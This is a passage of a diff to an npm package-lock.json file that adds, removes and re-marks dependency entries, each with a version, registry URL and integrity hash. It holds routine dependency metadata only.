+- "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+- "dev": true,
+- "requires": {
+- "esutils": "^2.0.2"
+- }
+- }
+- }
+- },
+- "eslint-plugin-react-hooks": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.3.0.tgz",
+- "integrity": "sha512-XslZy0LnMn+84NEG9jSGR6eGqaZB3133L8xewQo3fQagbQuGt7a63gf+P1NGKZavEYEC3UXaWEAA/AqDkuN6xA==",
+- "dev": true,
+- "requires": {}
+- },
+- "events": {
+- "version": "3.3.0",
+- "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
+- "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q=="
+- },
+- "expose-loader": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/expose-loader/-/expose-loader-3.1.0.tgz",
+- "integrity": "sha512-2RExSo0yJiqP+xiUue13jQa2IHE8kLDzTI7b6kn+vUlBVvlzNSiLDzo4e5Pp5J039usvTUnxZ8sUOhv0Kg15NA==",
+- "dev": true,
+- "requires": {}
+- },
+- "express": {
+- "version": "4.17.1",
+- "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz",
+- "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==",
+- "requires": {
+- "accepts": "~1.3.7",
+- "array-flatten": "1.1.1",
+- "body-parser": "1.19.0",
+- "content-disposition": "0.5.3",
+- "content-type": "~1.0.4",
+- "cookie": "0.4.0",
+- "cookie-signature": "1.0.6",
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "etag": "~1.8.1",
+- "finalhandler": "~1.1.2",
+- "fresh": "0.5.2",
+- "merge-descriptors": "1.0.1",
+- "methods": "~1.1.2",
+- "on-finished": "~2.3.0",
+- "parseurl": "~1.3.3",
+- "path-to-regexp": "0.1.7",
+- "proxy-addr": "~2.0.5",
+- "qs": "6.7.0",
+- "range-parser": "~1.2.1",
+- "safe-buffer": "5.1.2",
+- "send": "0.17.1",
+- "serve-static": "1.14.1",
+- "setprototypeof": "1.1.1",
+- "statuses": "~1.5.0",
+- "type-is": "~1.6.18",
+- "utils-merge": "1.0.1",
+- "vary": "~1.1.2"
+- },
+- "dependencies": {
+- "cookie": {
+- "version": "0.4.0",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz",
+- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg=="
+- },
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+- }
+- },
+- "fs-extra": {
+- "version": "4.0.3",
+- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz",
+- "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==",
+- "requires": {
+- "graceful-fs": "^4.1.2",
+- "jsonfile": "^4.0.0",
+- "universalify": "^0.1.0"
+- }
+- },
+- "glob-parent": {
+- "version": "6.0.2",
+- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+- "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+- "dev": true,
+- "requires": {
+- "is-glob": "^4.0.3"
+- }
+- },
+- "http-errors": {
+- "version": "1.7.2",
+- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz",
+- "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==",
+- "requires": {
+- "depd": "~1.1.2",
+- "inherits": "2.0.3",
+- "setprototypeof": "1.1.1",
+- "statuses": ">= 1.5.0 < 2",
+- "toidentifier": "1.0.0"
+- }
+- },
+- "icss-utils": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz",
+- "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==",
+- "dev": true,
+- "requires": {}
+- },
+- "inherits": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+- },
+- "isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "json-schema-traverse": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+- "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+- "dev": true
+- },
+- "jsonfile": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+- "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
+- "requires": {
+- "graceful-fs": "^4.1.6"
+- }
+- },
+- "karma-webpack": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-5.0.0.tgz",
+- "integrity": "sha512-+54i/cd3/piZuP3dr54+NcFeKOPnys5QeM1IY+0SPASwrtHsliXUiCL50iW+K9WWA7RvamC4macvvQ86l3KtaA==",
+- "dev": true,
+- "requires": {
+- "glob": "^7.1.3",
+- "minimatch": "^3.0.4",
+- "webpack-merge": "^4.1.5"
+- },
+- "dependencies": {
+- "webpack-merge": {
+- "version": "4.2.2",
+- "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-4.2.2.tgz",
+- "integrity": "sha512-TUE1UGoTX2Cd42j3krGYqObZbOD+xF7u28WB7tfUordytSjbWTIjK/8V0amkBfTYN4/pB/GIDlJZZ657BGG19g==",
+- "dev": true,
+- "requires": {
+- "lodash": "^4.17.15"
+- }
+- }
+- }
+- },
+- "less-loader": {
+- "version": "10.2.0",
+- "resolved": "https://registry.npmjs.org/less-loader/-/less-loader-10.2.0.tgz",
+- "integrity": "sha512-AV5KHWvCezW27GT90WATaDnfXBv99llDbtaj4bshq6DvAihMdNjaPDcUMa6EXKLRF+P2opFenJp89BXg91XLYg==",
+- "dev": true,
+- "requires": {
+- "klona": "^2.0.4"
+- }
+- },
+- "lolex": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/lolex/-/lolex-4.2.0.tgz",
+- "integrity": "sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg==",
+- "dev": true
+- },
+- "lru-cache": {
+- "version": "7.10.1",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.10.1.tgz",
+- "integrity": "sha512-BQuhQxPuRl79J5zSXRP+uNzPOyZw2oFI9JLRQ80XswSvg21KMKNtQza9eF42rfI/3Z40RvzBdXgziEkudzjo8A=="
+- },
+- "mdn-data": {
+- "version": "2.0.14",
+- "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
+- "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==",
+- "dev": true
+- },
+- "method-override": {
+- "version": "2.3.10",
+- "resolved": "https://registry.npmjs.org/method-override/-/method-override-2.3.10.tgz",
+- "integrity": "sha1-49r41d7hDdLc59SuiNYrvud0drQ=",
+- "requires": {
+- "debug": "2.6.9",
+- "methods": "~1.1.2",
+- "parseurl": "~1.3.2",
+- "vary": "~1.1.2"
+- },
+- "dependencies": {
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+- }
+- },
+- "mime": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+- },
+- "mini-css-extract-plugin": {
+- "version": "2.6.0",
+- "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.0.tgz",
+- "integrity": "sha512-ndG8nxCEnAemsg4FSgS+yNyHKgkTB4nPKqCOgh65j3/30qqC5RaSQQXMm++Y6sb6E1zRSxPkztj9fqxhS1Eo6w==",
+- "dev": true,
+- "requires": {
+- "schema-utils": "^4.0.0"
+- },
+- "dependencies": {
+- "ajv": {
+- "version": "8.11.0",
+- "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+- "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+- "dev": true,
+- "requires": {
+- "fast-deep-equal": "^3.1.1",
+- "json-schema-traverse": "^1.0.0",
+- "require-from-string": "^2.0.2",
+- "uri-js": "^4.2.2"
+- }
+- },
+- "ajv-keywords": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+- "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+- "dev": true,
+- "requires": {
+- "fast-deep-equal": "^3.1.3"
+- }
+- },
+- "schema-utils": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+- "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+- "dev": true,
+- "requires": {
+- "@types/json-schema": "^7.0.9",
+- "ajv": "^8.8.0",
+- "ajv-formats": "^2.1.1",
+- "ajv-keywords": "^5.0.0"
+- }
+- }
+- }
+- },
+- "minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
++ "minimist": {
++ "version": "1.2.5",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+ },
+ "mongodb": {
+ "version": "3.6.12",
+@@ -44099,6 +35549,12 @@
+ "integrity": "sha512-vGrhOavPSTz4QVNuBNdcNXePNdNMaO1xj9yBeH1ScQPjk/rhg9sSlCXPhMkFuaNNW/syTvYqsnbIJxMBfRbbag==",
+ "dev": true
+ },
++ "proxy-from-env": {
++ "version": "1.1.0",
++ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
++ "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
++ "dev": true
++ },
+ "qs": {
+ "version": "6.7.0",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
+@@ -44350,11 +35806,6 @@
+ }
+ }
+ },
+- "@panva/asn1.js": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/@panva/asn1.js/-/asn1.js-1.0.0.tgz",
+- "integrity": "sha512-UdkG3mLEqXgnlKsWanWcgb6dOjUzJ+XC5f+aWw30qrtjxeNUSfKX1cd5FBzOaXQumoe9nIqeZUvrRJS03HCCtw=="
+- },
+ "@pmmmwh/react-refresh-webpack-plugin": {
+ "version": "0.5.7",
+ "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz",
+@@ -44819,11 +36270,6 @@
+ "resolved": "https://registry.npmjs.org/@sindresorhus/fnv1a/-/fnv1a-1.2.0.tgz",
+ "integrity": "sha512-5ezb/dBSTWtKQ4sLQwMgOJyREXJcZZkTMbendMwKrXTghUhWjZhstzkkmt4/WkFy/GSTSGzfJOKU7dEXv3C/XQ=="
+ },
+- "@sindresorhus/is": {
+- "version": "0.14.0",
+- "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz",
+- "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ=="
+- },
+ "@sinonjs/commons": {
+ "version": "1.8.3",
+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz",
+@@ -44875,14 +36321,6 @@
+ "integrity": "sha512-dOlCBKnDw4iShaIsH/bxujKTM18+2TOAsYz+KSc11Am38H4q5Xw8Bbz97ZYdrVNM+um3p7w86Bvvmcn9q+5+eQ==",
+ "dev": true
+ },
+- "@szmarczak/http-timer": {
+- "version": "1.1.2",
+- "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz",
+- "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==",
+- "requires": {
+- "defer-to-connect": "^1.0.1"
+- }
+- },
+ "@testing-library/cypress": {
+ "version": "8.0.3",
+ "resolved": "https://registry.npmjs.org/@testing-library/cypress/-/cypress-8.0.3.tgz",
+@@ -44984,11 +36422,6 @@
+ "dev": true,
+ "requires": {}
+ },
+- "@tootallnate/once": {
+- "version": "1.1.2",
+- "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
+- "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw=="
+- },
+ "@transloadit/prettier-bytes": {
+ "version": "0.0.7",
+ "resolved": "https://registry.npmjs.org/@transloadit/prettier-bytes/-/prettier-bytes-0.0.7.tgz",
+@@ -45011,11 +36444,14 @@
+ "integrity": "sha512-HnYpAE1Y6kRyKM/XkEuiRQhTHvkzMBurTHnpFLYLBGPIylZNPs9jJcuOOYWxPLJCSEtmZT0Y8rHDokKN7rRTig==",
+ "dev": true
+ },
+- "@types/bluebird": {
+- "version": "3.5.36",
+- "resolved": "https://registry.npmjs.org/@types/bluebird/-/bluebird-3.5.36.tgz",
+- "integrity": "sha512-HBNx4lhkxN7bx6P0++W8E289foSu8kO8GCk2unhuVggO+cE7rh9DhZUyPhUxNRG9m+5B5BTKxZQ5ZP92x/mx9Q==",
+- "dev": true
++ "@types/asn1": {
++ "version": "0.2.0",
++ "resolved": "https://registry.npmjs.org/@types/asn1/-/asn1-0.2.0.tgz",
++ "integrity": "sha512-5TMxIpYbIA9c1J0hYQjQDX3wr+rTgQEAXaW2BI8ECM8FO53wSW4HFZplTalrKSHuZUc76NtXcePRhwuOHqGD5g==",
++ "dev": true,
++ "requires": {
++ "@types/node": "*"
++ }
+ },
+ "@types/body-parser": {
+ "version": "1.19.2",
+@@ -45043,11 +36479,6 @@
+ "@types/node": "*"
+ }
+ },
+- "@types/caseless": {
+- "version": "0.12.2",
+- "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.2.tgz",
+- "integrity": "sha512-6ckxMjBBD8URvjB6J3NcnuAn5Pkl7t3TizAg+xdlzzQGSPSmBcXf8KoIH0ua/i+tio+ZRUHEXp0HEmvaR4kt0w=="
+- },
+ "@types/chai": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.3.0.tgz",
+@@ -45089,12 +36520,6 @@
+ "integrity": "sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q==",
+ "dev": true
+ },
+- "@types/cookiejar": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/@types/cookiejar/-/cookiejar-2.1.2.tgz",
+- "integrity": "sha512-t73xJJrvdTjXrn4jLS9VSGRbz0nUY3cl2DMGDU48lKl+HR9dbbjW2A9r3g40VA++mQpy6uuHg33gy7du2BKpog==",
+- "dev": true
+- },
+ "@types/cors": {
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.12.tgz",
+@@ -45151,33 +36576,6 @@
+ "@types/range-parser": "*"
+ }
+ },
+- "@types/got": {
+- "version": "9.6.12",
+- "resolved": "https://registry.npmjs.org/@types/got/-/got-9.6.12.tgz",
+- "integrity": "sha512-X4pj/HGHbXVLqTpKjA2ahI4rV/nNBc9mGO2I/0CgAra+F2dKgMXnENv2SRpemScBzBAI4vMelIVYViQxlSE6xA==",
+- "requires": {
+- "@types/node": "*",
+- "@types/tough-cookie": "*",
+- "form-data": "^2.5.0"
+- },
+- "dependencies": {
+- "form-data": {
+- "version": "2.5.1",
+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz",
+- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==",
+- "requires": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.6",
+- "mime-types": "^2.1.12"
+- }
+- }
+- }
+- },
+- "@types/hapi__joi": {
+- "version": "17.1.8",
+- "resolved": "https://registry.npmjs.org/@types/hapi__joi/-/hapi__joi-17.1.8.tgz",
+- "integrity": "sha512-omVytnOAiAfzGUOQArujJr3heWxPrDHW7MF1ieqix1ngoGdhtJmSSDFVM+ZAOa7UmhlGJtltdgUAT03mfDu6kg=="
+- },
+ "@types/hoist-non-react-statics": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz",
+@@ -45208,11 +36606,6 @@
+ "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==",
+ "dev": true
+ },
+- "@types/js-yaml": {
+- "version": "3.12.7",
+- "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.7.tgz",
+- "integrity": "sha512-S6+8JAYTE1qdsc9HMVsfY7+SgSuUU/Tp6TYTmITW0PZxiyIMvol3Gy//y69Wkhs0ti4py5qgR3uZH6uz/DNzJQ=="
+- },
+ "@types/json-schema": {
+ "version": "7.0.9",
+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz",
+@@ -45297,16 +36690,6 @@
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-14.18.9.tgz",
+ "integrity": "sha512-j11XSuRuAlft6vLDEX4RvhqC0KxNxx6QIyMXNb0vHHSNPXTPeiy3algESWmOOIzEtiEL0qiowPU3ewW9hHVa7Q=="
+ },
+- "@types/node-fetch": {
+- "version": "2.5.12",
+- "resolved": "https://registry.npmjs.org/@types/node-fetch/-/node-fetch-2.5.12.tgz",
+- "integrity": "sha512-MKgC4dlq4kKNa/mYrwpKfzQMB5X3ee5U6fSprkKpToBqBmX4nFZL9cW5jl6sWn+xpRJ7ypWh2yyqqr8UUCstSw==",
+- "peer": true,
+- "requires": {
+- "@types/node": "*",
+- "form-data": "^3.0.0"
+- }
+- },
+ "@types/parse-json": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz",
+@@ -45370,29 +36753,6 @@
+ "@types/react": "*"
+ }
+ },
+- "@types/request": {
+- "version": "2.48.8",
+- "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.8.tgz",
+- "integrity": "sha512-whjk1EDJPcAR2kYHRbFl/lKeeKYTi05A15K9bnLInCVroNDCtXce57xKdI0/rQaA3K+6q0eFyUBPmqfSndUZdQ==",
+- "requires": {
+- "@types/caseless": "*",
+- "@types/node": "*",
+- "@types/tough-cookie": "*",
+- "form-data": "^2.5.0"
+- },
+- "dependencies": {
+- "form-data": {
+- "version": "2.5.1",
+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz",
+- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==",
+- "requires": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.6",
+- "mime-types": "^2.1.12"
+- }
+- }
+- }
+- },
+ "@types/retry": {
+ "version": "0.12.1",
+ "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.1.tgz",
+@@ -45467,40 +36827,12 @@
+ "@types/node": "*"
+ }
+ },
+- "@types/superagent": {
+- "version": "3.8.7",
+- "resolved": "https://registry.npmjs.org/@types/superagent/-/superagent-3.8.7.tgz",
+- "integrity": "sha512-9KhCkyXv268A2nZ1Wvu7rQWM+BmdYUVkycFeNnYrUL5Zwu7o8wPQ3wBfW59dDP+wuoxw0ww8YKgTNv8j/cgscA==",
+- "dev": true,
+- "requires": {
+- "@types/cookiejar": "*",
+- "@types/node": "*"
+- }
+- },
+- "@types/tough-cookie": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.1.tgz",
+- "integrity": "sha512-Y0K95ThC3esLEYD6ZuqNek29lNX2EM1qxV8y2FTLUB0ff5wWrk7az+mLrnNFUnaXcgKye22+sFBRXOgpPILZNg=="
+- },
+- "@types/underscore": {
+- "version": "1.11.4",
+- "resolved": "https://registry.npmjs.org/@types/underscore/-/underscore-1.11.4.tgz",
+- "integrity": "sha512-uO4CD2ELOjw8tasUrAhvnn2W4A0ZECOvMjCivJr4gA9pGgjv+qxKWY9GLTMVEK8ej85BxQOocUyE7hImmSQYcg=="
+- },
+ "@types/uuid": {
+ "version": "8.3.4",
+ "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.4.tgz",
+ "integrity": "sha512-c/I8ZRb51j+pYGAu5CrFMRxqZ2ke4y2grEBO5AUjgSkSk+qT2Ea+OdWElz/OiMf5MNpn2b17kuVBwZLQJXzihw==",
+ "dev": true
+ },
+- "@types/ws": {
+- "version": "6.0.4",
+- "resolved": "https://registry.npmjs.org/@types/ws/-/ws-6.0.4.tgz",
+- "integrity": "sha512-PpPrX7SZW9re6+Ha8ojZG4Se8AZXgf0GK6zmfqEuCsY49LFDNXO3SByp44X3dFEqtB73lkCDAdUazhAjVPiNwg==",
+- "requires": {
+- "@types/node": "*"
+- }
+- },
+ "@types/yauzl": {
+ "version": "2.9.2",
+ "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.9.2.tgz",
+@@ -46167,11 +37499,6 @@
+ "debug": "4"
+ }
+ },
+- "agentkeepalive": {
+- "version": "0.1.5",
+- "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-0.1.5.tgz",
+- "integrity": "sha1-2N6s1a+xAjKUIi/CR5qd0DX9kLc="
+- },
+ "aggregate-error": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+@@ -46227,23 +37554,6 @@
+ "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+ "requires": {}
+ },
+- "algolia-search": {
+- "version": "1.5.14",
+- "resolved": "https://registry.npmjs.org/algolia-search/-/algolia-search-1.5.14.tgz",
+- "integrity": "sha1-Q2Vjg+/LnUTFHZB1dHZEgjg+SF8=",
+- "requires": {
+- "agentkeepalive": "0.1.5",
+- "buffers": "0.1.1",
+- "underscore": "1.4.4"
+- },
+- "dependencies": {
+- "underscore": {
+- "version": "1.4.4",
+- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.4.4.tgz",
+- "integrity": "sha1-YaajIBBiKvoHljvzJSA88SI51gQ="
+- }
+- }
+- },
+ "algoliasearch": {
+ "version": "3.35.1",
+ "resolved": "https://registry.npmjs.org/algoliasearch/-/algoliasearch-3.35.1.tgz",
+@@ -46291,13 +37601,6 @@
+ }
+ }
+ },
+- "amdefine": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz",
+- "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=",
+- "dev": true,
+- "optional": true
+- },
+ "angular": {
+ "version": "1.8.2",
+ "resolved": "https://registry.npmjs.org/angular/-/angular-1.8.2.tgz",
+@@ -46402,11 +37705,6 @@
+ "integrity": "sha1-qCJQ3bABXponyoLoLqYDu/pF768=",
+ "dev": true
+ },
+- "any-promise": {
+- "version": "1.3.0",
+- "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
+- "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8="
+- },
+ "anymatch": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
+@@ -46529,12 +37827,8 @@
+ "argparse": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+- "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+- },
+- "args-js": {
+- "version": "0.10.12",
+- "resolved": "https://registry.npmjs.org/args-js/-/args-js-0.10.12.tgz",
+- "integrity": "sha1-oyeuqA5BByo9hfnCdNtlEeuV5Jw="
++ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
++ "dev": true
+ },
+ "aria-query": {
+ "version": "4.2.2",
+@@ -46546,32 +37840,12 @@
+ "@babel/runtime-corejs3": "^7.10.2"
+ }
+ },
+- "arr-diff": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+- "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA="
+- },
+- "arr-flatten": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
+- "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg=="
+- },
+- "arr-union": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz",
+- "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ="
+- },
+ "array-back": {
+ "version": "6.2.2",
+ "resolved": "https://registry.npmjs.org/array-back/-/array-back-6.2.2.tgz",
+ "integrity": "sha512-gUAZ7HPyb4SJczXAMUXMGAvI976JoK3qEx9v1FTmeYuJj0IBiaKttG1ydtGKdkfqWkIkouke7nG8ufGy77+Cvw==",
+ "dev": true
+ },
+- "array-each": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz",
